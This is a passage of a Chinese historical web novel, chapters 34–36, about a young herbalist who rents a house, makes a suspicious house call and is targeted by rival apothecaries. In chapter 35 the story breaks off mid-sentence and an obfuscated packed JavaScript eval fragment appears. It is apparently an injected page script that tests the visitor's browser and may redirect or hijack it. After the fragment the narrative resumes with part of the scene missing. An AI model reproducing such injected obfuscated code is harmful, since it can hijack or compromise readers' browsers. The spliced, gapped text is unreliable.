“伺机而动,毁其名声……这倒不难。”他低声自语,“可那丫头如今风头正盛,连王太医都当众夸过她,若在这个节骨眼上动手,会不会太显眼了?” 正思忖着,门外传来伙计的声音:“掌柜的,赵掌柜来了。” “请他进来。” 门开了,一个四十来岁、留着两撇鼠须的瘦高男子走进来,正是庆和堂城东分号的赵掌柜。他拱手笑道:“钱兄,这么晚叫我来,有何要事?” 钱掌柜将信笺递给他:“你先看看这个。” 赵掌柜接过,快速扫了一眼,脸色微变:“这是……大官人的意思?” “嗯。”钱掌柜点头,“要对付张记那个小丫头,许娇杏。” 赵掌柜沉吟道:“这丫头我听说过。前几日在鉴别会上出了风头,制药手艺得了周行老和李真人的夸赞,听说王太医还当众勉励了她几句。”他顿了顿,“如今她在医药行当里,也算有点小名气了。这时候动手,怕是不妥吧?” “我也这么想。”钱掌柜叹气,“可大官人催得急,说水仙姑那边等不了了。” 赵掌柜眼中闪过一丝了然。水仙姑和王大官人的关系,他们这些心腹多少知道些。那女人虽是个蠢的,可架不住大官人喜欢,这些年没少给她擦屁股。 “既是这样,那就得想个周全的法子。”赵掌柜捋着鼠须,眼珠转了转,“不能明着来,得暗着来。” “怎么说?” “我手底下养着几个药托,都是老手。”赵掌柜压低声音,“让他们假装去张记看病抓药,回头就说吃了药出了问题,去铺子前头闹。闹得越大越好,最好能惊动官府。” 钱掌柜皱眉:“这法子会不会太老套?张记若是抵死不认,或是请行会出面调解,只怕闹不大。” “那就看怎么闹了。”赵掌柜阴恻恻一笑,“若是寻常头疼脑热,自然闹不大。可若是……闹出人命呢?” 钱掌柜一惊:“人命?这、这会不会太过了?” “又不是真闹出人命。”赵掌柜摆手,“我手下有个叫刘三的,最擅演这种戏。让他假装吃了张记的药,中毒昏迷,口吐白沫,抬到铺子前头去。再找几个苦主哭天抢地,说要报官。到时候,张记为了息事宁人,必定会推那丫头出来顶罪。” 钱掌柜听得心动,却又犹豫:“可那刘三……演得像么?万一被识破了……” “放心。”赵掌柜自信道,“刘三干这行十几年了,从没失过手。他吃的‘毒药’,是我特意配的,服下去后症状跟真中毒一模一样,连大夫都难辨真伪。而且药性温和,服了解药半个时辰就能醒,绝不会真出事。” 钱掌柜思忖良久,终于点头:“好,就按你说的办。不过,时机要选好。那丫头刚出名,现在动手太显眼。等过个十天半月,风头稍过,再动手不迟。” “正是。”赵掌柜笑道,“我也得让刘三他们准备准备,把戏演足了。” 两人又商议了一番细节,直到亥时末,赵掌柜才告辞离去。 钱掌柜独自坐在书房里,望着跳动的烛火,心里却隐隐有些不安。 那丫头……真的那么好对付么?他想起前日在清风楼外,许娇娇那双清亮沉静的眼睛。那样一个十二三岁的小姑娘,面对他的威胁,竟能不卑不亢,眼神里没有半分惧意。 这样的人,要么是真傻,要么……就是有所倚仗。 他但愿是前者。 窗外,春雨又淅淅沥沥地下了起来。菰城的夜,被雨雾笼罩着,看不清远山,也看不清前路。 34. 第34章 租赁房屋 几日后,菰城的春雨总算是停了。 日头从云层后头探出来,虽不算烈,却也把连日阴湿的街道晒得暖烘烘的。青石板路上的水洼渐渐干了,只留下深色的水渍。街边屋檐往下滴水,嘀嗒嘀嗒,声音越来越稀疏。 张记生药铺门口,从辰时初就排起了队。 队伍比往日长了一倍不止,一直延伸到隔壁绸缎庄的檐下。有咳嗽的老汉,有抱着啼哭孩子的妇人,有拄着拐杖的老婆婆。人人手里攥着号牌,眼巴巴望着铺子门楣上那块“张记生药”的木匾。 “都别挤,排好队!”张记生药铺的伙计在门口维持秩序,额上冒了汗,“李真人、廖大夫、万大夫都在里头,一个个来!” 自打医药鉴别会结束,张记生药铺的生意就一天比一天红火。原本铺子里有两位坐堂大夫——廖大夫五十来岁,擅治内科杂症;万大夫四十出头,精于妇科儿科。加上四个伙计,平日里倒也够用。 可如今不行了。 来的人里,十有七八是冲着李真人的名头来的。李真人每年总会来菰城坐诊一段时日,有时在城东的济仁堂,有时在城西长春堂。今年好不容易轮到张记生药铺,张东家早就盼着李真人在他的铺子多诊些时日,可李真人时间有限,他每年在菰城最多也就待月余。且李真人坐诊分文不取,铺子只收取药材费。许多老病号排队就是为了让李真人诊脉。 如今菰城医药鉴别会上,许娇娇虽然崭露头角,但她毕竟是位女子,虽有些医术,但找她看诊的几乎没有。不过有些在医药鉴别会上听说许娇娇的药丸做的好,且又得过周行老和王太医嘉奖,抓药的时候也会顺便多问两句:“听说王太医对许小娘子配制的药丸很满意,不知铺子可有售卖?都可以治疗什么症候?一些话语。”铺子的伙计也会简单做个介绍,有几人也会买点回去说试试看效用。 而后院里,许娇娇却没顾得上前头,她正忙着炮制一批新到的柴胡。 小炭炉上坐着铜锅,锅里柴胡片在文火下慢慢翻炒,酒气蒸腾起来,带着特有的辛香。她手里握着长柄铜铲,一下一下翻动着,眼睛盯着火候,额角沁出细密的汗珠。 静尘在一旁分拣药材,将炮制好的当归、白芍装进药屉。静心则蹲在墙角,用小石臼捣着薄荷叶,准备制清热散。 院子本就狭小,如今堆满了药材、器具,三个人转个身都嫌挤。更别提旺财了,这狗儿懂事,知道院里地方窄,平日就趴在门槛内,偶尔抬起头看看,又安静地趴回去。 许娇娇炒好一锅柴胡,盛出来晾着,这才直起腰,抹了把汗。她环视这间住了月余的小院,心里有了计较。 晚膳时,她向张东家和王氏提了租房的事。 “张伯,伯母,”许娇娇放下筷子,认真道,“这些日子叨扰了。如今铺子里病人多,后院又要炮制药材,实在拥挤。我和静尘师姐、静心想在外头赁处房子,也方便些。” 张东家一愣,王氏更是急道:“娇杏,你这是说的什么话!什么叨扰不叨扰的,咱们是一家人!” “伯母待我们好,我们都知道。”许娇娇温声道,“可正是为着一家人,才更该为铺子着想。如今后院堆满药材,炮制起来烟熏火燎的,也影响铺子前头的生意。更何况——”她顿了顿,“我们三个女子,长期住在铺子后院,终究不便。” 这话说得在理。张东家沉吟片刻,点了点头。 他家中情形,许娇娇这些日子也了解了些。张东家和王氏育有二子一女。长子在城西开了间分店,已成家立业;次子在官学读书,张东家一心想让他走科举的路子;小女儿才四五岁,平日跟着奶娘住在城西的宅院里。铺子这边,除了两个坐堂大夫和四个伙计,后院本就不住人,是专门用来炮制、储存药材的。 如今腾出两间厢房给她们住,确实挤占了炮制药材的地方。前几日廖大夫还抱怨,说后院烟大,呛得病人咳嗽。 “娇杏说得对。”张东家终于开口,“你们三个姑娘家,长期住在铺子里确是不便。既然要赁房子,我帮你们找个可靠的牙人。” 王氏虽舍不得,却也明白道理,只拉着许娇娇的手道:“那也得寻处近的,好常来常往。赁房子的钱若不够,伯母这儿有。” 许娇娇心里一暖,摇头道:“伯母放心,鉴别会上仁心堂给的酬金,加上这些日子攒的,够用了。” 第二日,张东家便托人找了个姓周的牙人。 周牙人四十来岁,瘦高个,留着两撇胡子,说话办事都利索。听说许娇娇要赁房子,当即拍胸脯道:“姑娘放心,这菰城大街小巷,没有我老周不熟的。不知姑娘想赁在哪儿?要多大的?” 许娇娇早已想好:“离铺子近些,走路两炷香内的最好。不必太大,两间卧房,一间堂屋,带个小院就行。价钱……每月不超过五百文。” 周牙人心里盘算一番,笑道:“这个价钱,在城东能赁到不错的。姑娘稍等,我这就去打听,明日带姑娘看房。” 果然,第三日一早,周牙人就来了,说找到了三处合适的。 第一处在城北,离张记铺子倒是近,走路一炷香就到。可房子老旧,院墙塌了一角,屋里阴暗潮湿,墙角还长着霉斑。静尘看了直皱眉,静心更是悄悄拉许娇娇的袖子:“娇杏,这儿……好像不太干净。” 许娇娇也摇头。这房子便宜是便宜,每月只要三百文,可住着怕是要生病的。 第二处在城南,房子倒是整齐,三间瓦房带个小院。可离张记铺子远,走路得小半个时辰。而且周围都是做小买卖的,白日里吵嚷得很。许娇娇想着夜里要研读医书,需要清静,便也作罢。 第三处在城东,离东瓦子不远。 周牙人引着她们穿过两条街巷,来到一条名叫“柳枝巷”的胡同。胡同不宽,青石板路却平整,两旁种着垂柳,这时节绿莹莹的十分好看。 房子在胡同中段,是个独门小院。黑漆木门,门环擦得锃亮。推门进去,是个方正的天井,青石板铺地,缝里长着茸茸的青苔。正面三间房,中间是堂屋,左右各一间卧房。东侧还有间小厨房,西侧是间小小的柴房。 院子里有口井,井台用青石砌着,旁边放着木桶。墙角种着一丛月季,这时节还没开花,可枝叶长得茂盛,绿油油的。 许娇娇一眼就喜欢上了。 她推开堂屋的门,屋里亮堂堂的。窗户是纸糊的,可糊得厚实,不透风。地上铺着青砖,扫得干干净净。虽没有家具,可四壁白净,梁椽结实。 静尘也点头:“这房子好,敞亮。” 静心则跑到井边,趴着井沿往下看,惊喜道:“井里有水!清亮亮的!” 周牙人笑道:“这房子原是个老秀才住的,后来儿子中了举,接他去任上享福了,房子就空了下来。房主舍不得卖,只愿出租。每月五百文,不二价。” 许娇娇仔细看了看房屋结构,又试了试门窗,都结实。她心里算了一笔账:仁心堂每月给的酬金有二百文,加上自己炮制药材、帮铺子抓药也能赚些,五百文的房租虽不便宜,可也负担得起。 更重要的是,这地方离张记铺子走路两炷香,不算远。离东瓦子近,买菜买米都方便。胡同清静,适合读书制药。 “就这儿吧。”许娇娇做了决定。 周牙人大喜,当即去请房主。房主是个六十来岁的老先生,姓郑,看着就是个读书人,说话文绉绉的。听说许娇娇是学医的,更是高兴:“医者仁心,好,好!这房子赁给姑娘,我放心。” 当下写了契书,一式两份。许娇娇付了三个月房租,共一千五百文,又给了周牙人五十文的佣金。郑老先生将钥匙交给她,嘱咐道:“姑娘好生住着,若有需要修葺的地方,只管跟我说。” 房子赁好了,接下来便是搬家。 张东家和王氏听说她们赁了柳枝巷的房子,都来看过。王氏连连点头:“这地方好,清静,干净。离铺子也不远,你们平日来往方便。” 搬家那日,张东家让陈伙计赶了驴车来帮忙。 其实东西不多。三人来菰城时只带了几个包袱,如今添置的也不过是些日常用具——被褥、衣裳、锅碗瓢盆。最多的还是药材和医书,装了整整两箱子。 许娇娇最宝贵的是那几样:医药书、骨针、小药锄、半块羊脂玉佩;李真人送的几卷医书;还有仁心堂的契书、沈夫人给的玉佩,都仔细收在贴身的小木匣里。 静尘和静心则把自己的东西整理得井井有条。静尘针线好,这些日子 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许娇娇忙道:“张伯,已经够麻烦您了。” “什么麻烦不麻烦的。”张东家摆手,“你们三个姑娘在外头住,总得把房子收拾妥当了。安全最要紧。” 正说着,陈伙计从外头进来,手里拎着个食盒:“东家,师娘让我从铺子里带的饭菜,还热乎着。” 王氏接过食盒,摆在堂屋桌上。里头是四菜一汤——红烧肉、清炒菜心、蒸鸡蛋、拌豆腐,还有一盆蘑菇汤。白米饭盛得冒尖。 “都累了一上午了,快吃饭。”王氏招呼着,“刘家嫂子也一起来吃些。” 刘寡妇推辞不受,径直告辞走了。 众人于是坐定,一顿饭吃得热热闹闹,旺财在桌下转悠,静心悄悄夹了块肉给它,它摇着尾巴吃得欢。 饭后,王氏又帮着把厨房收拾出来,锅碗瓢盆一一归位。张东家则带着陈伙计,把院门、屋门的门闩都检查加固了,又在院墙上插了些碎瓷片——这是防贼的土法子。 “虽说菰城治安好,可小心些总没错。”张东家叮嘱道,“夜里门要闩好,听见动静莫要轻易开门。若有急事,就往铺子跑,或者喊邻里。” 许娇娇一一记下。 待到申时末,屋子总算收拾出个模样。堂屋里摆着一张方桌、四把椅子——是张东家让陈伙计从铺子后院搬来的旧家具,虽不新,却结实。卧房里铺好了床,挂上了蚊帐。厨房里米面油盐都备齐了,水缸也挑满了水。 送走张东家一家,小院里终于安静下来。 夕阳西下,金色的余晖洒在天井里,把那丛月季的影子拉得老长。井台上放着的木桶里,水面映着天光,晃晃悠悠的。 静尘站在堂屋门口,望着这方小天地,眼中有些恍惚:“娇杏,这……真是咱们的家了?” 许娇娇走到她身边,握住她的手:“是咱们的家了。” 静心从厨房探出头,脸上沾着灰,却笑得很开心:“娇杏妹妹,师姐,我把灶台擦干净了!明日就能自己做饭了!” 旺财在天井里转圈,这里闻闻,那里嗅嗅,最后在月季丛边找了个地方,舒舒服服地趴下,像是认定了这是它的地盘。 许娇娇环视这个小院,心中涌起一股踏实感。 从归平县山上的茅屋,到张记铺子的后院,再到这柳枝巷的小院。一路颠簸,一路逃离,如今总算有了个真正属于她们三人的安身之处。 虽然房子是租的,虽然前路依然未知,虽然水仙姑和王大官人的威胁如阴影未散——可至少此刻,她们有了一个可以关上门、点上灯、安心说话的地方。 “师姐,静心,”许娇娇轻声说,“往后咱们好好过日子。我继续学医制药,你们若愿意,也可以学些手艺。等攒够了钱,说不定还能开个小药铺。” 静尘眼中闪着光:“好,我都听你的。” 静心也用力点头。 夜幕渐渐降临。许娇娇点亮油灯,昏黄的光晕填满了堂屋。三人围桌坐下,商量着明日要添置的东西——要买些菜种,在墙角开块小菜地;要买些布料,给窗户做帘子;还要买些常用的药材,在家里备着…… 35. 第35章 出诊 李真人要回茅山了。 消息是前一日傍晚传来的。李真人的道童来张记铺子送信,说真人已收拾好行装,明日辰时便启程。 许娇娇听到时,正在后院炮制一批新到的黄芪。手里的铜铲顿了顿,黄芪片在锅里多翻了两下,差点过火。她忙定神,将火调小些,心里却像被什么东西轻轻扯了一下。 这些日子,李真人每日在铺子里坐堂,她在一旁看着、学着,获益良多。老人家不仅医术精湛,更难得的是那份仁心——无论贫富贵贱,一视同仁;无论疑难杂症,耐心诊治。他教她诊脉要静心凝神,教她开方要权衡利弊,教她制药要精益求精。 “医者,意也。”李真人曾这样对她说,“不是死记硬背几个方子,而是要明白病从何来,药往何去。要知常达变,因人制宜。” 这些话,她一字一句都记在心里。 第二日一早,许娇娇特意提早到了铺子。李真人正在前堂与张东家话别,见她来了,含笑招手:“丫头,过来。” 许娇娇上前,恭恭敬敬行了个礼:“真人今日启程,一路保重。” 李真人打量她片刻,从袖中取出一个小布包:“这里头是几本医书,还有老夫这些年整理的脉案笔记。你拿回去好好研读,若有不懂的,可写信到茅山问道观。” 许娇娇双手接过,眼眶微热:“多谢真人厚赐,民女定当刻苦研习,不负教诲。” “你有天赋,更难得的是这份沉稳心性。”李真人捻须道,“只是医药之道,学无止境。切莫因一时小成而自满,也莫因前路艰难而气馁。” “民女谨记。” 辰时初,李真人的马车来了。张东家带着铺子里众人送至街口,直到马车消失在长街尽头,这才回转。 铺子里忽然空落落的。 廖大夫和万大夫依旧坐堂,可总觉得少了些什么。来看病的百姓也有打听的:“李真人真走了?”“往后还来不来?” 许娇娇默默回到后院,继续炮制药材。炭火明明灭灭,药香氤氲,可她的心却有些飘忽。李真人这一走,像是把某种支撑也带走了。 日子还得过。 自打搬进柳枝巷的小院,许娇娇的生活便成了两点一线——清晨从家到铺子,傍晚从铺子回家。偶尔去仁心堂指点制药,每月领那二百文的酬金。静尘和静心把家里打理得井井有条,小菜园里种上了青菜、葱蒜,墙角那丛月季也打了花苞,眼看就要开了。 平静,却也单调。 直到四月初三这日,变故突生。 那日张东家一早就出了门。前日听人说苏州药市新到了一批川黄连,品相极好,价钱也公道。张东家想着铺子里存货不多,便亲自去苏州看看,来回得三四日。 铺子里原本有廖大夫和万大夫坐镇,倒也无妨。可偏巧这日一早,廖大夫被城南一户人家请去出诊——那家的老太爷突发急症,卧床不起。万大夫则因家中有事,前一日就告了假。 如此一来,铺子里竟没了坐堂大夫。 陈伙计急得直搓手:“这可如何是好?今日排队的人不少,总不能让人白等。” 许娇娇正在柜台后整理药材,闻言抬头:“我来试试吧。虽不敢说能看疑难杂症,但寻常小病,应该能应付。” 陈伙计一愣:“许姑娘你……” “李真人教了我许多,这些日子我也看了不少诊。”许娇娇平静道,“若有拿不准的,我便直言,请病人另寻高明。总好过让人空等。” 陈伙计想了想,眼下也确无他法,只得点头:“那……有劳姑娘了。” 许娇娇便坐到李真人平日坐的诊案后。静尘在一旁帮忙维持秩序,静心这些时日在柳枝巷忙着家务,她是个安静的小娘子,话少,胆小,也不喜出门,所以许娇娇让她在家做些家务针线。 起初来的几个病人,见坐堂的是个半大丫头,都有些迟疑。可听伙计解释后,又见许娇娇问诊仔细,把脉沉稳,开的方子也稳妥,便渐渐放下心来。 一个上午,看了十七八个病人。大多是风寒咳嗽、脾胃不适之类的常见病。许娇娇谨慎应对,能治的便开方,拿不准的便坦言相告,请病人明日再来。 到午时,病人渐少。许娇娇刚松了口气,想喝口水歇歇,铺子外忽然传来急促的脚步声。 一个二十来岁的小哥冲了进来,满头大汗,脸色煞白,声音都在发抖:“大夫!大夫在吗?快!快救人!” 许娇娇心头一跳,忙起身:“这位大哥,莫急,慢慢说。谁病了?” 小哥喘着粗气,话都说不利索:“我、我阿娘……突然晕倒了!怎么叫都不醒!脸、脸都紫了!求求大夫,快去看看吧!” 许娇娇眉头紧皱。晕厥之症可大可小,若是中风、心疾之类的急症,耽误不得。 “病人在何处?离这儿多远?” “在、在城西葫芦巷!走路得两炷香……”小哥急得眼泪都快出来了,“我背了阿娘一段,实在背不动了……大夫,求您快去吧!再晚、再晚怕是不行了!” 许娇娇心中飞快权衡,东家不在,廖大夫出诊未归,万大夫请假——铺子里确实无人可去。可她一个小娘子,人生地不熟……? “静尘师姐,”她转身,“把我的药箱拿来。还有那瓶通窍醒神丸,那包急救散,都带上。” 静尘一愣:“娇杏,你真要去?这……万一……” “顾不了那么多了。”许娇娇从柜子里取出一个小布包——里头是她平时备着的银针、艾绒、止血药等物,“救人要紧。” 静尘看着她坚定的眼神,一咬牙:“我跟你一起去。” 两人迅速收拾好东西。许娇娇对陈伙计道:“陈大哥,铺子先劳你照看。若有急症病人,请他们稍候,或去别家医馆。” 陈伙计连连点头:“姑娘放心去,铺子有我。” 三人匆匆出了门。小哥在前头带路,脚步飞快。许娇娇和静尘几乎是小跑着才能跟上。 穿过两条街巷,转入一条僻静的小路。路两旁是些低矮的土坯房,墙面斑驳,巷子里堆着杂物,空气中飘着一股霉味。 静尘越走心里越不安,凑近许娇娇低声道:“娇杏,这地方……怎么这么偏?” 许娇娇也察觉了。葫芦巷在城西,本就是贫民聚居之地,可这条路似乎越发偏僻,不像常有人走。 她抬眼看向前头带路的小哥。那人虽满脸焦急,可脚步稳健,呼吸均匀,不像是一路狂奔过来的样子。 心头警铃大作。 “这位大哥,”许娇娇放缓脚步,“令堂具体是何症状?除了晕厥,可还有抽搐、口吐白沫?” 小哥头也不回:“就是突然晕倒,怎么叫都不醒!大夫,快些吧,就在前头了!” 许娇娇与静尘对视一眼,都从对方眼中看到了警惕。 可来都来了,此刻掉头就走,万一真有病人,岂不是见死不救? 正犹豫间,前方出现一个破败的小院。院门虚掩着,里头静悄悄的。 “就是这儿!”小哥推开门,“大夫,快请进!” 许娇娇站在院门口,往里望去。院子里杂草丛生,正屋的门紧闭着,窗户纸破了几个洞,黑洞洞的。 她深吸一口气,从袖中摸出一包药粉捏在手里——这是她自制的迷魂散,关键时刻或可防身。 “师姐,你在门外等着。”她低声道,“若有不对,立刻往回跑,去喊人。” 静尘却摇头:“我跟你一起进去。” 两人一前一后走进院子。小哥已经推开正屋的门,屋里光线昏暗,隐约看见炕上躺着个人。 许娇娇踏进门槛,药粉藏在袖中,另一只手已摸到银针。 炕上确实躺着个老妇人,约莫六十来岁,面色灰败,双目紧闭,呼吸微弱。 许娇娇快步上前,三指搭上老妇人腕脉。脉象沉细无力,时有时无,确是危症。 她稍稍松了口气——至少病人是真的。 “令堂晕倒前,可有什么不适?是否说过头痛、胸闷?”许娇娇一边问,一边翻开老妇人眼睑查看。 小哥站在门边,支吾道:“没、没说什么……就是突然倒了……” 许娇娇不再多问,专注诊察。老妇人舌质淡紫,苔白腻,四肢厥冷。她心中有了几分判断——这像是寒厥之症,阳气衰微,气血不能通达四末。 她从药箱里取出银针,选了几个穴位:人中、内关、足三里。下针时手法沉稳,深浅得当。 又取出那瓶,通窍醒神丸,倒出一粒,用温水化开,一点点喂给老妇人。 做完这些,她起身对小哥道:“令堂这是阳气暴脱之症,需用回阳救逆之药。我开个方子,你速去抓药。” 说着,取出纸笔,写下:附子三钱、干姜二钱、炙甘草二钱、人参二钱或用党参五钱替代。并注明:急煎,顿服。 小哥接过方子,却不动:“大夫,这、这药贵不贵?我家……怕是用不起人参。” 许娇青早已虑及此点:“用党参替代便可。这几味药都是常用药,不算贵。你快去抓药,迟了恐生变。” 小哥这才点头,转身出了门。 屋里只剩下许娇娇、静尘和昏迷的老妇人。静尘轻声道:“娇杏,你觉得……这人可信么?” 许娇娇摇头:“不知道。但病是真的,咱们既来了,便得治。” 她坐在炕边,继续给老妇人诊脉。针药并施后,脉象似乎有力了些,呼吸也平稳了些。 约莫过了一炷香时间,门外传来脚步声。 许娇娇警惕地抬头,进来的却不是那小哥,而是一个五十来岁的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出小院时,日头已经偏西。巷子里静悄悄的,一个人影也没有。 静尘挽着许娇娇的手臂,低声道:“娇杏,咱们快些回去。这地方……我总觉得心里发毛。” 许娇娇点头,两人加快脚步。 走出葫芦巷,转入主街,这才松了口气。街上人来人往,商铺里亮起灯火,熟悉的喧闹声让两人心安了些。 “今日这事,总觉得蹊跷。”静尘边走边说,“那小哥,那老者,还有那地方……” “我也觉得。”许娇娇沉吟,“可病人是真的,病也是真的。或许……是咱们多心了。” 话虽如此,她心里却存了个疑影。 回到柳枝巷的小院时,天已擦黑。静心早已做好了饭,在堂屋里焦急地等着。见她们平安回来,这才放下心。 饭桌上,许娇娇将今日出诊的事简单说了。静心听得心惊胆战:“以后可莫要独自出诊了,太危险!” “是啊。”静尘也道,“今日若真有什么陷阱,咱们两个姑娘家,如何应对?” 许娇娇默默吃饭,心里却在想:若今日真是陷阱,对方为何不动手?若只是试探,目的又是什么? 她想起那个神秘的老者,想起他那些看似随意实则有意的问题。 或许,有人已经在暗中盯着她了。 今日这一遭,像是给她提了个醒——菰城虽大,可那些想害她的人,从未走远。 她得更加小心才行。 而此刻,城东庆和堂后院的书房里,烛火还亮着。 钱掌柜坐在桌后,对面正是白日里出现在葫芦巷的那个老者。 “如何?”钱掌柜问。 老者捻须道:“那丫头确有几分真本事。诊脉精准,下针老道,用药也妥当。今日那老妇人的寒厥之症,她处理得宜,若非她及时救治,怕是要出人命。” 钱掌柜皱眉:“这么说,她不是徒有虚名?” “绝非虚名。”老者摇头,“我观她行事,沉稳谨慎,不似寻常少女。更难得的是那份仁心——见病家贫寒,分文不取,还嘱咐用廉价药材替代。” 钱掌柜沉默片刻,缓缓道:“那……按计划行事?” “再等等。”老者沉吟,“今日我试探了几句,她警惕性很高。如今她刚在鉴别会上出了风头,盯着她的人多。此时动手,容易惹人怀疑。” “等多久?” “等机会。”老者眼中闪过一丝精光,“等她放松警惕,再给她致命一击。” 钱掌柜点头:“好,就依你。” 烛火跳跃,将两人的影子投在墙上,拉得老长,扭曲变形,如同暗中潜伏的鬼魅。 36. 第36章 贵人相约 那日的出诊,虽是有惊无险地救了人,却在许娇娇心里埋下了一颗不安的种子。 回到柳枝巷小院的这几日,她夜里总睡不踏实。一闭上眼,便浮现出葫芦巷那偏僻破败的小院、炕上面色灰败的老妇、眼神闪烁的小哥,还有那个突然出现又莫名离去的老者。每一处细节,都在夜深人静时反复咀嚼,越想越觉得蹊跷。 “太巧了。”许娇娇在灯下翻着李真人留下的脉案笔记,心思却飘远了。张东家恰巧那日去苏州,廖大夫恰巧被请出诊,万大夫恰巧告假,铺子里只剩她一个略通医术的。而那小哥恰巧在此时出现,领她去的地方恰巧那般偏僻…… 若说全是巧合,未免太牵强。 可若真是陷阱,对方为何不动手?那老妇人的病是真真切切的危症,若非她及时施救,恐怕熬不过那个午后。 许娇娇放下手中的笔,望向窗外。月光洒在天井里,把月季丛的影子投在青石板上,随风微微晃动。旺财趴在门槛内,耳朵不时抖动一下,警惕着夜里的动静。 静尘端着热水进来,见她还没睡,轻声道:“又睡不着?” “在想那日的事。”许娇娇揉了揉眉心,“师姐,你说……会不会是水仙姑她们?” 静尘把热水盆放在架上,用布巾浸湿了拧干,递给许娇娇擦脸:“我也担心这个。归平县离菰城不过一日路程,若他们真想寻仇,找上门来也不奇怪。”她顿了顿,声音更低,“娇杏,咱们如今虽有处安身之地,可终究势单力薄。若他们真要对付咱们……” 许娇娇接过布巾,温热的水汽敷在脸上,稍稍驱散了心头的寒意。她擦完脸,把布巾递回去,眼神却坚定起来:“师姐,正因如此,咱们才更要小心,更要蛰伏。” “蛰伏?” “对。”许娇娇走到窗边,望着夜空中的疏星,“水仙姑和王大官人犯下的罪孽,那些被拐卖的女子、孩童,那些被他们害得家破人亡的人……这些账,总有一天要算清。但不是现在。” 她转过身,看着静尘:“现在的我们,根基未稳,在菰城无亲无故,唯一能依靠的只有张伯的照拂。这样的我们,拿什么去和他们对抗?贸然行事,不但报不了仇,反而会打草惊蛇,甚至把自己和你们都搭进去。” 静尘怔怔看着她,这才发现,不知从何时起,那个在山上茅屋里惶恐不安的小师妹,已经变得如此沉稳而有主见。 “那……咱们该怎么办?” “等。”许娇娇走到桌边,拿起那本脉案笔记,“等时机。在这之前,我要潜心学医,精进医术。李真人说得对,医者仁心,但仁心需要有真本事支撑。我要在菰城立住脚,攒下名声,攒下人脉,攒下安身立命的资本。等到有一天——” 她眼中闪过一丝锐利的光:“等到我足够强大,等到证据确凿,等到时机成熟,我会亲手将他们做的恶事揭开,为那些被害的人讨个公道。” 静尘心中震动,久久不语。半晌,才轻声道:“可这样……太危险了。他们势力大,咱们只是三个无依无靠的女子……” “所以更要谨慎。”许娇娇握住静尘的手,“师姐,你放心,我不会莽撞行事。从今日起,咱们更要低调。我每日只在铺子和家之间往来,若非必要,绝不出诊。仁心堂那边每月只去两日,教完制药便回。咱们三人尽量少出门,若出门必结伴而行。” 静尘用力点头:“好,我都听你的。” 第二日,张东家从苏州回来了。 他这趟去得顺利,不仅谈妥了一批上好的川黄连,价格比市面低了一成,还结识了几个苏州的药商,约好了日后长期供货。回到铺子里,见一切如常,生意甚至比往日更红火些,心中高兴。 许娇娇趁午后病人少时,将前日独自出诊的事细细说了一遍。 张东家听着,脸色渐渐凝重起来。待她说完,他沉吟良久,才缓缓道:“娇杏,你怀疑得对。这事确有蹊跷。” “张伯也这么觉得?” “太巧了。”张东家捋着胡须,眼中带着忧虑,“我经营药铺几十年,这样的事不是没见过。有些地痞无赖,专挑医馆里老大夫不在、只剩年轻学徒时,假装急症来请,把人骗到偏僻处勒索钱财。更甚者,与药商勾结,设局陷害……” 他顿了顿,看向许娇娇:“你如今在菰城医药行当里也算有了些名气,又是个女子,容易被人盯上。水仙姑那事,我虽不知详情,可听你提过几句,想来不是善茬。若真是他们在背后捣鬼,你更要万分小心。” 许娇娇心头一紧:“张伯的意思是……” “我的意思是,从今往后,若无我或廖大夫、万大夫陪同,你绝不可独自出诊。”张东家正色道,“若再有类似急症来请,便说我铺子里有规矩,坐堂大夫不出外诊,请他们将病人送来。若实在送不来,便推荐去别家医馆——仁心堂、济世堂都可以。虽说这样可能会得罪些人,可安全要紧。” 许娇娇心中十分感动。张东家这般安排,完全是出于对她的保护,甚至不惜可能影响铺子生意。 “张伯,这样会不会……” “不会。”张东家摆手打断,“人命关天,但医者自身安危也紧要。你若出了事,我怎么对得起你爹娘?怎么对得起李真人托付?”他叹了口气,“更何况,若真是有人设局害你,那便是冲着我张记来的。我岂能让他们得逞?” 许娇娇郑重行礼:“民女谨记,定当小心。” 张东家点点头,又嘱咐了几句,这才去前堂忙了。 自那日起,许娇娇便越发谨慎。每日准时到铺子,在柜台后帮着抓药、制药,若有病人问诊,也只接那些症状简单、常见的。若有复杂些的,便恭请廖大夫或万大夫诊治。到了时辰便回家,绝不在外逗留。 静尘和静心也越发小心。买菜买米都结伴而去,速去速回。柳枝巷的小院门白日里也常闩着,只在有人敲门时才开。邻里间虽友善,却也保持着距离,不过分热络。 日子仿佛又回到了平静的轨道上。 许娇娇每日研读医书和李真人留下的脉案,不甚明了之处便记下来,等廖大夫或万大夫得空时请教。她天资本就聪颖,又有前世的知识与经验,这个时代的医疗医术药材原本就缺乏,她同时也多了许多创新,就连李真人留下的脉案有几条她都有了不一样的看法。廖大夫看了她开的方子,点头赞许:“方证对应,药量妥当,许小大夫不愧是承了许大郎的衣钵。” 静尘和静心也没闲着。静尘跟着铺子里的伙计学了些药材鉴别、保管的法子,如今已能帮着分拣、晾晒药材。静心手巧,除了料理家务,还学着做些简单的药膳——茯苓粥、黄芪炖鸡、枸杞茶,每日换着花样给三人调理身子。 小菜园里的青菜长势喜人,绿油油的一片。墙角那丛月季开了花,粉红的花朵在晨露中颤巍巍的,给这小院添了几分生气。 许娇娇有时坐在堂屋门口,看着天井里的景象,心里会生出一种错觉——仿佛那些危险、那些阴谋都离得很远,她们三人可以一直这样平静地生活下去。 但她知道,这只是错觉。 水仙姑和王大官人就像潜伏在暗处的毒蛇,不知何时会突然蹿出来咬人。她必须时刻警惕。 转眼到了四月中旬。 这日清晨,许娇娇如常来到铺子。刚在柜台后站定,便见门外来了一辆马车。 那马车与寻常车驾不同,车身漆成沉稳的靛青色,两侧垂着素色帷幔,檐角各悬一枚小小的铜风铎,车行时发出清越的叮咚声。拉车的两匹马毛色油亮,步伐齐整,一看便是精心饲养的。 马车在铺子门前稳稳停下。车辕上跳下一个三十来岁的妇人,穿着石青色褙子,头发梳得一丝不乱,面容端正,眼神精明干练。她抬头看了眼铺子匾额,便径直走了进来。 陈伙计忙迎上去:“这位夫人,可是要看病抓药?” 那妇人微微颔首,目光在铺子里扫了一圈,落在柜台后的许娇娇身上:“请问,许娇杏许小娘子可在此处?” 